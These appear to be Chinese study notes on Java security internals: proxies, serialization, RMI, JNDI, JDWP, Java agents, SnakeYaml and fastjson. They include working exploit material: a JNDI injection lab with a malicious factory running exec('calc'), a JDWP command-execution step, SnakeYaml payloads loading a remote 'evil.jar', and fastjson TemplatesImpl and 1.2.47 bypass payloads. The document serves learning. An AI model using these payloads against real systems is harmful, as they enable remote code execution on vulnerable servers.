  • 利用http进行ntlmrelay攻击(仅限HttpURLConnection或者二次包装HttpURLConnection并未复写AuthenticationInfo方法的对象)

JNI

动态代理

Java反射提供了一种类动态代理机制，可以通过代理接口实现类来完成程序无侵入式扩展。

简单来说，它允许你在程序运行时，“变出”一个代理对象，这个对象拥有和真实对象一样的接口，但在调用真实对象的方法前后，你可以插入额外的逻辑（如日志、事务、权限检查等）

java.lang.reflect.Proxy java.lang.reflect.InvocationHandler

java.lang.reflect.Proxy类是通过创建一个新的Java类(类名为com.sun.proxy.$ProxyXXX)的方式来实现无侵入的类方法代理功能的。

动态代理生成出来的类有如下技术细节和特性：

  1. 动态代理的必须是接口类，通过动态生成一个接口实现类来代理接口的方法调用(反射机制)。
  2. 动态代理类会由java.lang.reflect.Proxy.ProxyClassFactory创建。
  3. ProxyClassFactory会调用sun.misc.ProxyGenerator类生成该类的字节码，并调用java.lang.reflect.Proxy.defineClass0()方法将该类注册到JVM。
  4. 该类继承于java.lang.reflect.Proxy并实现了需要被代理的接口类，因为java.lang.reflect.Proxy类实现了java.io.Serializable接口，所以被代理的类支持序列化/反序列化。
  5. 该类实现了代理接口类(示例中的接口类是com.anbai.sec.proxy.FileSystem)，会通过ProxyGenerator动态生成接口类(FileSystem)的所有方法，
  6. 该类因为实现了代理的接口类，所以当前类是代理的接口类的实例(proxyInstance instanceof FileSystem为true)，但不是代理接口类的实现类的实例(proxyInstance instanceof UnixFileSystem为false)。
  7. 该类方法中包含了被代理的接口类的所有方法，通过调用动态代理处理类(InvocationHandler)的invoke方法获取方法执行结果。
  8. 该类代理的方式重写了java.lang.Object类的toString、hashCode、equals方法。
  9. 如果动过动态代理生成了多个动态代理类，新生成的类名中的0会自增，如com.sun.proxy.$Proxy0/$Proxy1/$Proxy2。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
//Peroson接口
public interface Person {

    void doWorking();

    void doStudying();
}
//Student类


public class Student implements Person{
    public void doWorking() {
        System.out.println("Working....");
    }
    public void doStudying() {
        System.out.println("Studying...");

    }
}

使用Proxy中的newProxyInstance创建代理实例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
//proxystudent类 实现动态代理

import java.lang.reflect.*;

public class proxyStudent {
    //返回类型应为接口
    public static Person createProxy(Student obj){
        //Proxy.newProxyInstance()被调用时 返回的对象是这样的
        //class $Proxy0 extends java.lang.reflect.Proxy implements Person 
        //因此只能转为Peroson接口 不能再转为Student了
        Person proxyStudent = (Person) Proxy.newProxyInstance(obj.getClass().getClassLoader(), new Class[]{Person.class}, new InvocationHandler() {
            @Override
            public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
                if(method.getName().equals("doWorking")) {
                    System.out.println("继续努力工作 ! 加油!");
                }else if(method.getName().equals("doStudying")){
                    System.out.println("继续努力学习 ! 加油!");
                }
                Object result = method.invoke(obj,args);
                System.out.println("辛苦了");
                return null;
            }
        });
        return  proxyStudent;

    }

    public static void main(String[] args) {
        Student student = new Student();
        Person proxystu = proxyStudent.createProxy(student);
        proxystu.doStudying();

    }
}

java反序列化

链子集合（rce的子弹）

apache common collection

cc链

反序列化时触发

mysql-connector-java

mysql_ServerStatusDiffInterceptor链

mysql_detectCustomCollations链

基本都是在连接数据库的时候触发的

urldns

原生无害链

反序列化时触发

rome

rome链

commons-beanutils

CB链

反序列化时触发

hessian

hessian链

TemplatesImpl

原生链 com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl

调用newTransformer() 或者 getOutputProperties()时触发

JdbcRowSetImpl

反序列化入口点

jndi

fastjson

jackson

el表达式

mysql

序列化与反序列化

序列化就是将java对象转化为二进制数组的形式 便于网络传输

反序列化就是将二进制数组转变为原来的java对象

序列化库:

java.io.Serializeable(内部序列化) java.io.Externalizable(外部序列化)

java库中的java.io.ObjectInputStraeam和java.io.ObjectOutputStraeam提供的writeObject()和readObject()实现了序列化与反序列化

Serializable接口

序列化对象需要 它的类继承Serializable接口

对象中的所有属性都会被序列化和反序列化

某个字段不想被序列化 可以使用transient修饰 静态属性也不会被序列化

serialVersionUID字段

一个对象在反序列化的时候 如果序列化串中的uid与当前对象值不同 反序列化会失败

如果uid没有显示生成 系统会自动生成

属性的变化都会导致自动生成的serialVersionUID发生变化。如果序列化和反序列化的serialVersionUID不同，则会报序列化版本不同的错误

反序列化要求

  • 被反序列化的类必须存在。
  • serialVersionUID值必须一致。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
package com.javaSerializeDemo;
import java.io.*;
import java.util.Arrays;
public class javaSerializedemo2 {
	//静态类
    public static class test implements Serializable {

        private String username;
        private String password;

        public String getPassword() {
            return password;
        }

        public void setPassword(String password) {
            this.password = password;
        }

        public String getUsername() {
            return username;
        }

        public void setUsername(String username) {
            this.username = username;
        }


    }
   
    public static void main(String[] args) {
        //创建字节数组输出流
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        try {
        test test1 = new test();
        test1.setPassword("123456");
        test1.setUsername("admin");
	    //创建对象输出流 将转换的数据都存储到刚刚创建的字节数组输出流中
        ObjectOutputStream out = new ObjectOutputStream(baos);

        out.writeObject(test1);
        out.flush();
        out.close();
	   
        System.out.println("序列化结果: " + "\t" +Arrays.toString(baos.toByteArray()));
        /* */
        ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());

        ObjectInputStream in = new ObjectInputStream(bais);

        test test2 = (test) in.readObject();

        System.out.println("反序列化结果: " + "\t" + test2.getPassword() + "\t" + test2.getUsername());
        } catch (Exception e) {
            throw new RuntimeException(e);
        }
    }

}

RMI

RMI(Remote Method Invocation)即Java远程方法调用，RMI用于构建分布式应用程序，RMI实现了Java程序之间跨JVM的远程通信。

RMI架构

服务端

客户端

注册表

image-20260322133819357

RMI底层通讯采用了Stub(运行在客户端)和Skeleton(运行在服务端)机制，RMI调用远程方法的大致如下：

  1. RMI客户端在调用远程方法时会先创建Stub(sun.rmi.registry.RegistryImpl_Stub)。
  2. Stub会将Remote对象传递给远程引用层(java.rmi.server.RemoteRef)并创建java.rmi.server.RemoteCall(远程调用)对象。
  3. RemoteCall序列化RMI服务名称，Remote对象。
  4. RMI客户端的远程引用层传输RemoteCall序列化后的请求信息通过Socket连接的方式传输到RMI服务端的远程引用层。
  5. RMI服务端的远程引用层(sun.rmi.server.UnicastServerRef)收到请求会请求传递给Skeleton(sun.rmi.registry.RegistryImpl_Skel#dispatch)。
  6. Skeleton调用RemoteCall反序列化RMI客户端传过来的序列化。
  7. Skeleton处理客户端请求：bind、list、lookup、rebind、unbind，如果是lookup则查找RMI服务名绑定的接口对象，序列化该对象并通过RemoteCall传输到客户端。
  8. RMI客户端反序列化服务端结果，获取远程对象的引用。
  9. RMI客户端调用远程方法，RMI服务端反射调用RMI服务实现类的对应方法并序列化执行结果返回给客户端。
  10. RMI客户端反序列化RMI远程方法调用结果。

RMI中的核心类UnicastRemoteObject

主要有3个作用

  1. 开启监听端口 (随机端口)
  2. 自动生成Stub对象
  3. 处理网络请求

RMI的基本实现

接口

实现类

服务端

客户端

1
2
3
4
5
6
7
8
9
10
11
//RMITestInterface.java
import java.rmi.Remote;
import java.rmi.RemoteException;

//接口方法
//继承Remote类 表明可以当做rmi的接口方法 作用和Serialized类似
public interface RMITestInterface extends Remote {
    String test() throws RemoteException;
    String print(Object obj) throws RemoteException;
}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
//RMIServerTestImpl.java
import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;

//实现类
//继承RMITestInterface
//不用继承UnicastRemoteObject
public class RMIServerTestImpl implements RMITestInterface {

    private static final long serialVersionUID = 1L;

    protected RMIServerTestImpl() throws RemoteException {
        super();
    }

    @Override
    public String test() throws RemoteException {
        return "hello RMI";
    }

    @Override
    public String print(Object obj) throws RemoteException {
        System.out.println(obj);
        return "ok";
    }
}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
//RMIServer.server
import java.rmi.Naming;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.UnicastRemoteObject;

public class RMIServer {
    public static final String RMI_HOST = "127.0.0.1";

    public static final int RMI_PORT = 5564;

    public static final String RMI_NAME = "rmi://" + RMI_HOST + ":" + RMI_PORT + "/demo";

    public static void main(String[] args ) {
        try{

            //在注册中心 注册端口
            Registry registry = LocateRegistry.createRegistry(RMI_PORT);

            RMIServerTestImpl impl = new RMIServerTestImpl();
            
            //显示的修改UnicastRemoteObject监听端口号
            //不显示修改的话 在接口中需要继承UnicastRemoteObject类自动分配
            RMITestInterface stub = (RMITestInterface) UnicastRemoteObject.exportObject(impl,5564);

            Naming.bind(RMI_NAME,stub);

            System.out.println("RMI服务启动成功,服务地址:" + RMI_NAME);
        } catch (Exception e) {
            throw new RuntimeException(e);
        }

    }

}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
//RMIClient.java

import java.rmi.Naming;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.Map;

public class RMIClient {
    public static void main(String[] args) {
        try {
            //查找RMI服务
            Registry registry = LocateRegistry.getRegistry(RMIServer.RMI_HOST,RMIServer.RMI_PORT);


            RMITestInterface rt = (RMITestInterface) registry.lookup("demo");

            System.out.println(rt.test());
            

            //生成cc1链
            Object payload = cc1.payload();
           
            String aa = rt.print(payload);

            System.out.println(aa);

        }catch(Exception e){
            e.printStackTrace();
        }
    }

}

JNDI

java naming and Director interface (java命名和目录接口) 查找资源提供的一个通用接口

JNDI使得可以使用统一的代码连接接口

Naming Service 命名服务

命名服务将名称和对象进行关联，提供通过名称找到对象的操作，例如：DNS系统将计算机名和IP地址进行关联、文件系统将文件名和文件句柄进行关联等等。

Directory Service 目录服务

目录服务是命名服务的扩展，除了提供名称和对象的关联，还允许对象具有属性。目录服务中的对象称之为目录对象。目录服务提供创建、添加、删除目录对象以及修改目录对象属性等操作。

Reference 引用

在一些命名服务系统中，系统并不是直接将对象存储在系统中，而是保持对象的引用。引用包含了如何访问实际对象的信息。

核心类:

javax.naming.Context

1. Context 接口 (核心中的核心)

这是命名服务的根接口，代表一个命名环境。

  • 作用：执行绑定、查找、解绑操作。
    • lookup(String name): 根据名字获取对象。
    • bind(String name, Object obj): 绑定名字和对象。
    • rebind(String name, Object obj): 重新绑定（如果名字存在则覆盖）。
    • unbind(String name): 解除绑定。
    • list(String name): 列出上下文中的名字。

javax.naming.directory.InitialContext

2. InitialContext 类

  • 作用：这是 Context 接口的入口点。当你 new InitialContext(env) 时，它会读取环境变量 (env)，确定要连接哪个服务提供商（如 LDAP 还是 RMI），然后初始化具体的上下文对象。
  • 地位：几乎所有 JNDI 操作的起点。

javax.naming.directory.DirContext

3. DirContext 接口

  • 作用：继承自 Context，增加了目录服务功能。

  • 特有方法

    ：

    • getAttributes(String name): 获取对象的属性。
    • search(String base, String filter): 强大的搜索功能（类似 SQL 的 WHERE 子句）。
    • modifyAttributes(...): 修改属性。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import javax.naming.Context;
import javax.naming.directory.DirContext;
import javax.naming.directory.InitialDirContext;
import java.util.Hashtable;

public class JNDIdemo1 {
    public static void main(String[] args) {
        Hashtable env = new Hashtable();
        
	
        //设置环境变量
        env.put(Context.INITIAL_CONTEXT_FACTORY,"com.sun.jndi.dns.DnsContextFactory");

        env.put(Context.PROVIDER_URL,"dns://223.6.6.6/");

        try{

            //初始化目录对象
            DirContext dirContext = new InitialDirContext(env);

            System.out.println(dirContext.getAttributes("baidu.com",new String[]{"a"}));
            //输出dns解析结果

        } catch (Exception e) {
            throw new RuntimeException(e);
        }
    }
}

jndi注入

流程:

客户端通过jndi (lookup()方法) 寻找某个服务对象(RMI,LADP等) -> 服务端的对象为一个Reference对象 返回该对象 ->

客户端得到该Reference对象 自动的去寻找他的工厂类 并自动的加载指定的工厂类 执行代码

JNDI允许通过对象工厂 (javax.naming.spi.ObjectFactory)动态加载对象实现

Reference对象需要继承对象工厂 (javax.naming.spi.ObjectFactory) 改写方法getObjectInstance

通过lookup()查找对象名称 服务器如果返回Reference对象 客户端则会自动下载并且还可以动态加载远程代码

1
2
3
String urlname = "rmi://127.0.0.1:5564/demo";
Context context = new InitialDirContext();
Object obj = context.lookup(urlname);

当访问的是一个jndi中的reference对象时 会自动下载工厂类 并自动加载该类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
//ReferenceObjectFactory.java
package com.eval;

import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.util.Hashtable;

//需要继承ObjectFactory类
public class ReferenceObjectFactory implements ObjectFactory {

    @Override
    public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
        try {
            Runtime.getRuntime().exec("calc");
            return null;
        } catch (Exception e) {
            throw new RuntimeException(e);
        }

    }

}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
//RMIServer.java
import com.sun.jndi.rmi.registry.ReferenceWrapper;

import javax.naming.Reference;
import java.rmi.Naming;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.UnicastRemoteObject;

public class RMIServer.java {
    public static final String RMI_HOST = "127.0.0.1";

    public static final int RMI_PORT = 5564;

    public static final String RMI_NAME = "rmi://" + RMI_HOST + ":" + RMI_PORT + "/demo";

    public static void main(String[] args ) {
        try{
            System.setProperty("java.rmi.server.useCodebaseOnly", "false");
            System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");

            //在注册中心 注册端口


            String url = "http://127.0.0.1:8080/jndi-test.jar";

            String classname = "com.eval.ReferenceObjectFactory";

            Registry registry = LocateRegistry.createRegistry(RMI_PORT);

            //创建一个远程JNDI对象工厂的Reference对象
            Reference reference = new Reference(classname,classname,url);

            //转换为RMI引用对象
            ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);

            Naming.bind(RMI_NAME,referenceWrapper);

            System.out.println("RMI服务启动成功,服务地址:" + RMI_NAME);
        } catch (Exception e) {
            throw new RuntimeException(e);
        }

    }

}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
import javax.naming.Context;
import javax.naming.directory.Attributes;
import javax.naming.directory.DirContext;
import javax.naming.directory.InitialDirContext;
import java.util.Hashtable;

public class JNDItest   {
    public static void main(String[] args) {
        //创建环境变量
        String urlname = "rmi://127.0.0.1:5564/demo";
        System.setProperty("java.rmi.server.useCodebaseOnly", "false");
        System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");

/*        Hashtable env = new Hashtable();
        设置JNDI初始化工厂类名
        env.put(Context.INITIAL_CONTEXT_FACTORY,"com.sun.jndi.dns.DnsContextFactory");
        设置jndi提供服务的url
        env.put(Context.PROVIDER_URL,"dns://223.6.6.6/");*/


        try{
            //创建jndi服务对象
            Context context = new InitialContext();

            //访问存有恶意Reference对象的url
            //访问成功则会自动加载工厂类对象
            Object obj = context.lookup(urlname);

            System.out.println(obj);

        } catch (Exception e) {
            throw new RuntimeException(e);
        }
    }

}

版本限制

RMI

  • JDK 6u211, 7u201, 8u191 (2018年10月发布)：
    • 限制：默认禁止 com.sun.jndi.rmi.object.trustURLCodebase 和 com.sun.jndi.cosnaming.object.trustURLCodebase 为 true。
    • 影响：RMI 和 COS 协议无法再从远程 HTTP 加载类。
    • 例外：LDAP 协议当时未被完全限制（这是一个疏忽），所以 LDAP 注入依然有效。

LADP

JDK 8u292, 11.0.11, 15.0.3, 16.0.2 (2021年4月发布)：

  • 限制：默认禁止 com.sun.jndi.ldap.object.trustURLCodebase。
  • 影响：LDAP 也无法从远程加载类了。
  • 现状：在新版 JDK 上，传统的 Reference + Remote Codebase 攻击链默认失效。

javassist

  • Javassist 是 Java 字节码编辑库，可以在运行时生成、修改类。
  • 支持动态生成类、方法、字段，也能修改已有类的字节码。
  • 与直接操作字节码相比，提供高层次 API，更易上手。
  • ClassPool
  • CtClass 的容器，用于管理和获取类。
  • 核心方法：getDefault()、get()、makeClass()、insertClassPath()、appendClassPath()。
  • CtClass
  • 表示编译时类，可修改父类、生成字节码、创建静态初始化块。
  • 核心方法：setSuperclass()、toBytecode()、makeClassInitializer()、toClass()。
  • CtMethod / CtField
  • 类似增强版 Method / Field，对方法和字段进行动态修改。
  • 支持修改方法体、插入代码片段、修改修饰符、重命名方法等。
  • 主要功能
  • 读取类信息：获取字段、方法、构造函数。
  • 修改类方法：修改方法体、插入前后代码、修改访问修饰符。
  • 动态创建类：创建新类、添加字段和方法，支持静态初始化块和构造函数。
  • 二进制操作：通过 toBytecode() 获取字节码数组，可写入文件生成 .class。
  • 应用场景
  • 动态代理和 AOP 增强
  • 运行时代码注入
  • 动态类生成
  • 字节码分析与修改
  • 注意点
  • 所有操作都是基于字节码层面进行，生成的文件都是 .class。
  • 可以在 JVM 运行时直接加载生成的类。
  • 支持静态代码块、构造函数及方法前后插入逻辑，非常灵活。

JDWP

JPDA(Java Platform Debugger Architecture) 是 Java 平台调试体系结构的缩写，通过 JPDA 提供的 API，开发人员可以方便灵活的搭建 Java 调试应用程序。

主要是通过参数开启该模式

1
/usr/local/java/jdk1.8.0_20/bin/java -agentpath:/usr/local/java/jdk1.8.0_20/jre/lib/amd64/libjdwp.so=transport=dt_socket,server=y,suspend=y,address=8003 /opt/test
1
java -agentpath:jdwp=transport=dt_socket,server=y,suspend=y,address=8003 test
1
java -agentlib:jdwp=transport=dt_socket,server=y,suspend=y,address=*:8003 Test

jdwp=transport=dt_socket 通过socket方式来连接调试

server=y,suspend=y 当前调试的文件为服务器 并且为暂停模式

address=*:8003 Test 地址 与包名

1
jdb -connect com.sun.jdi.SocketAttach:hostname=127.0.0.1,port=8003

使用jdb 通过socket连接上jdwp

stop in com.eval.test.main 在main函数上打断点 然后cont执行到断点处

此时一般来说就可以执行了

1
eval java.lang.Runtime.getRuntime().exec("calc").getInputStream())

java agent

简单来说就是可以动态的修改字节码 hook技术

JDK1.5开始，Java新增了Instrumentation(Java Agent API)和JVMTI(JVM Tool Interface)功能，允许JVM在加载某个class文件之前对其字节码进行修改，同时也支持对已加载的class(类字节码)进行重新加载(Retransform)。

  1. 启动Java程序时添加-javaagent(Instrumentation API实现方式)或-agentpath/-agentlib(JVMTI的实现方式)参数，如java -javaagent:/data/XXX.jar LingXeTest。

  2. JDK1.6新增了attach(附加方式)方式，可以对运行中的Java进程附加Agent。

这两种运行方式的最大区别在于第一种方式只能在程序启动时指定Agent文件，而attach方式可以在Java程序运行后根据进程ID动态注入Agent到JVM

JVMTI 是底层 C++ 接口，Instrumentation API 是基于它封装的、用于开发 Java Agent 的标准 Java 接口，而 Attach API 则是一种能在运行时将 Agent 动态挂载到目标 JVM 的通信机制。

静态hook

  1. 入口：JVM 启动时带上 -javaagent 参数，JVM 会首先执行 Agent 的 premain 方法。

  2. 注册：在 premain 中，Agent 调用 inst.addTransformer(new MyTransformer())。这相当于给 JVM 的类加载器装了一个“过滤器”。

  3. 拦截：当应用程序尝试加载一个类（例如 com.example.UserService）时，JVM 会先读取该类的 .class 文件字节流。

  4. 转换（Hook 核心）：在类被定义（Define Class）之前，JVM 会调用 MyTransformer 的 transform 方法，并将原始的字节码数组 byte[] 传进来。

  5. 修改

    ：

    • Agent 使用 ASM 或 Javassist 解析这个字节数组。
    • 找到目标方法（如 login）。
    • 在方法体的开头插入代码（如 System.out.println("Start login");），在结尾插入代码（如 System.out.println("End login");）。

  6. 返回：Agent 返回修改后的新字节数组。JVM 拿着这个“被篡改”的字节码去生成 Class 对象。

  7. 结果：应用程序运行 UserService.login() 时，实际上执行的是你植入逻辑后的代码。

动态hook

  1. 入口：通过 Attach API 将 Agent 动态挂载到正在运行的 JVM 进程上，触发 agentmain 方法。

  2. 执行

    ：

    • 同样注册 Transformer，或者直接使用 inst.retransformClasses(TargetClass.class)。

  3. 触发：JVM 收到指令后，会强制重新加载目标类的字节码，并再次经过 Transformer 的处理流程（同静态 Hook 的 4-6 步）。

  4. 结果

    ：内存中的类定义被替换，新的请求进来时就会执行新的逻辑。

    • 注意：这种方式通常只能修改方法体内部逻辑，不能增加/删除字段或方法。

SnakeYaml

java提供的一个解析yaml文件的组件

可以将java对象转换为yaml字符串

依赖地址

1
2
3
4
5
6
7
8
<dependency>
    <groupId>org.yaml</groupId>

    <artifactId>snakeyaml</artifactId>

    <version>1.27</version>

</dependency>

提供序列化与反序列化方法

1
2
Yaml.dump()//序列化
Yaml.load()//反序列化
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
//User.java

import lombok.ToString;

@ToString
public class User {
    private String name;
    private int age;

    public User(){
        System.out.println("我是构造器");
    }

    public int getAge() {
        System.out.println("getAge");
        return age;
    }

    public void setAge(int age) {
        System.out.println("setAge");

        this.age = age;
    }

    public String getName() {
        System.out.println("getName");

        return name;
    }

    public void setName(String name) {
        System.out.println("setName");

        this.name = name;
    }
}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
//test.java
import org.yaml.snakeyaml.Yaml;
public class test {

    public static void main(String[] args) {
        //serialize();
        deserialize();
    }

    public static void deserialize(){
        String s ="!!User {age: 12, name: sakuya}";
        String payload = "!!com.sun.rowset.JdbcRowSetImpl {dataSourceName: ldap://127.0.0.1:4321/evil, autoCommit: true}";
        Yaml yaml1 = new Yaml();
        User user = yaml1.load(s);
        System.out.println(user);
    }

    public static void serialize(){
        User aa = new User();
        aa.setName("a");
        aa.setAge(12);
        Yaml yaml = new Yaml();
        String dump = yaml.dump(aa);
        System.out.println(dump);
    }

}

进行序列化

image-20260504125740380

序列化的时候会调用对象中的getter 和fastjson类似

返回的字符串有严格的格式 在类前面有2个! 对象内部属性也必须有空格

这里的!! 类似于fastjson中的@type 指定反序列化的全类名

尝试反序列化

image-20260504130032801

反序列化的时候调用了对象中的setter 也和fastjson类似

getter方法是因为User类用lombok备注成tostring才被调用的 和snakeyaml反序列化没关系

和fastjson类似 snakeyaml这个组件也是在反序列化的时候会调用对象的setter方法 从而导致的漏洞利用

调试一下

image-20260504135511222

image-20260504135531807

传进去的yaml字符串会先变成StreamReader 进而进入loadFromReader()

image-20260504135701264

前面2行都是为yaml数据进行包装

跟进ParserImpl

image-20260504135930875

包装的时候 有一个VersionTagsTuple方法 它将我们的!!指向一个tag 之后有用处

现在跟进Composer

image-20260504140151854

没有什么特别的方法 就是有一次包装了而已

跟进一下setComposer()

image-20260504140252460

image-20260504140337494

依旧封装

重点是下面的getSingleData

image-20260504140428610

image-20260504140627892

又将我们的数据转为node形式 !!也转变成tag形式

image-20260504140731170

跟进constructDocument

image-20260504140758436

跟进constructObject

image-20260504140822317

进入一个判断

判断当前constructedObjects是否有节点node 显然是没有的返回false

进入constructObjectNoCheck

image-20260504141031442

image-20260504141358346

获取node的构造器并调用构造器构造node

image-20260504141423856

进入getConstructor

image-20260504141549962

获取node的类

image-20260504141639989

之后会类似的获取node里面其他的类

image-20260504142454378

这里会获取当前类的构造器 根据node里面类参数个数获取构造器

image-20260504142850956

这里会获取参数 并且递归的获取参数的构造器

image-20260504143235154

最后的最后 会以此递归的调用newInstance去创建对象实例

这里的c就是当前类的构造器 根据递归性质

会先创建最内层的对象 最后递归到最外层的对象

全过程中 没有任何的限制

于是在创建实例的时候触发了漏洞

总结

这个漏洞的触发实际可以简单描述为

通过构造器去调用代码

也可以类似于fastjson一样 在调用setter方法的时候触发

snakeyaml和fastjson相比

他可以直接创建对象实例 通过有参/无参构造器去创建 也会调用setter

fastjson虽然可以创建对象 但是只能调用无参构造器

payload

1
!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["ldap://127.0.0.1:4321/evil.jar"]]]]
1
2
!!com.sun.rowset.JdbcRowSetImpl {dataSourceName: ldap://127.0.0.1:4321/evil, autoCommit: true}

fastjson

阿里巴巴提供的一个快速转换数据的java组件

对象转json数据

json数据转对象

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import com.alibaba.fastjson.JSON;
import com.test.Person;

public class TEST {
    public static void main(String[] args) {
        Person person = new Person();
        person.setName("sakuya");
        person.setAge(18);

		
        //将java对象转换为json数据
        String jsonString = JSON.toJSONString(person);
        System.out.println(jsonString);
	
        //将json数据转换为对应的java对象
        Person p1 = JSON.parseObject(jsonString,Person.class);
        System.out.println(p1);
        System.out.println(p1.getAge());
    }

}

json数据 to java对象

1
2
3
JSON.parseObject()
JSON.parse()
JSON.parseArray()

有三种主要方法 有多种的重载方法

1
2
JSON.parseObject(jsonString,Person.class)
//会将json数据 还原为之前的java对象 第二个参数就指定了对象的class类

JSON.parse(jsonString)

没有指定的话 会自动查找数据里面的@type键值 如果有还原为指定的类 如果没有则会自动转换为jsonObject

转换对象的时候 会反射加载类 并尝试将属性填入这个类中

第一种 尝试调用public setter方法
第二种 判断属性是否为public 如果是则直接写入
第三种 如果没有setter方法 会判断是否有getter方法

如果属性都是private

需要添加Feature.SupportNonPublicField参数 会强制调用

1.2.0 <= verison <= 1.2.24

从1.2.0开始 json中添加@type字段 并添加全限定类名 JSON.parse(String) 会自动将数据转为该类

并且默认开启任意类转换 由此开启漏洞

1
2
3
4
5
6
7
8
9
10
11
12
13
        byte[] payload = Files.readAllBytes(Paths.get("D:\\myjavaprogram\\myfastjson\\src\\main\\java\\testEvil.class"));

        Map<String,Object> datamap = new LinkedHashMap<String,Object>();
        datamap.put("@type","com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
        datamap.put("_bytecodes",new byte[][]{payload});
        datamap.put("_name","test");
        datamap.put("_outputProperties",new Object());


        String json = JSON.toJSONString(datamap);

        System.out.println(json);
//需要SupportNonPublicField 由于_outputProperties为私有属性 所以要搞这个参数

version 1.2.25 ~ 1.2.41

denylist添加了大量的内部api 并且有一个AutoType参数 需要为true

绕过条件:

绕过黑名单 绕过Autotype限制

version 1.2.42

检测到L ;就会删除并继续检测

双写绕过

version 1.2.43

检测到L直接报错

数组绕过

version 1.2.44

遇到数组也报错了

黑名单绕过

version <= 1.2.47

二次注入绕过

先将jdbcrowsetimpl搞到mapping中

第二次反序列化的时候成功执行

1
2
3
4
5
String payload3  = "{\"a\":{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"},"
               + "\"b\":{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\","
               + "\"dataSourceName\":\"ldap://127.0.0.1:4321/Exploit\",\"autoCommit\":true}}";


version 1.2.48

无法在使用1.2.47的方法 默认不然通过class加入新的类

version <=1.2.68

javaweb基础

tomcat

web容器 servlet容器

处理http请求并发送response

Servlet (Server Applet)

java提供的一门动态web资源开发技术

Servlet 就是一个运行在服务器端的 Java 类，它专门用来接收浏览器的请求并做出响应

本质:动态生成网页内容 处理网页逻辑

Servlet的生命周期

Servlet从被创建到被销毁的整个过程

实例化

当Servlet第一次被访问时 由web容器创建Servlet对象

初始化

实例化之后 调用init()方法 初始化配置文件 创建链接 只调用一次

请求

每次请求Servlet容器都会调用一次service()

销毁

释放内存 关闭容器时会调用destroy()方法

调用完只是 容器会释放Servlet实例

HttpServlet

HttpServlet继承了GenericServlet类又继承了Servlet接口

项目中继承HttpServlet得重写doGet()方法和doPost()方法

image-20260317185609647

Filter

限制器javax.servlet.Filter是Servlet2.3新增的一个特性,主要用于过滤URL请求，通过Filter我们可以实现URL请求资源权限验证、用户登陆检测等功能

Filter是一个接口，实现一个Filter只需要重写init、doFilter、destroy方法即可，其中过滤逻辑都在doFilter方法中实现。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
//简单的Filter
package org.example.javawebtest;

import javax.servlet.*;
import javax.servlet.annotation.WebFilter;
import java.io.IOException;
import java.io.PrintWriter;

@WebFilter("/*")
public class myfilter implements Filter {

    @Override
    public void init(FilterConfig filterConfig) throws ServletException {

    }

    @Override
    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
        servletResponse.setContentType("text/html; charset=UTF-8");
        PrintWriter writer = servletResponse.getWriter();//处理
        writer.write("调用filter！</br>");
        filterChain.doFilter(servletRequest, servletResponse);//放行

        writer.write("Servelt运行完毕");//执行完毕处理
    }

    @Override
    public void destroy() {

    }
}

通过注解的方式定义Filter会根据Filter类名的字母顺序执行过滤

如果是在web.xml中定义的 那么就从上到下顺序执行过滤

filterChain.doFilter()会放行这个请求到下一个Filter的doFilter上 如果是最后一个Filter则传给Servlet

当Servlet运行完会回调到Filter上执行之后的代码

Listener

事件：某个方法被调用，或者属性改变

事件源：被监听的对象

监听器：用于监听事件源，当发生事件时会触发监听器

image-20260410112859904

Listener -> Filter -> Servlet

javaweb项目结构

image-20260410103339869

src/main

java目录 存放写好的Servelt 也就是java文件 里面包含大量的业务逻辑 审计的重点

resource目录 存放一些配置项 配置文件等

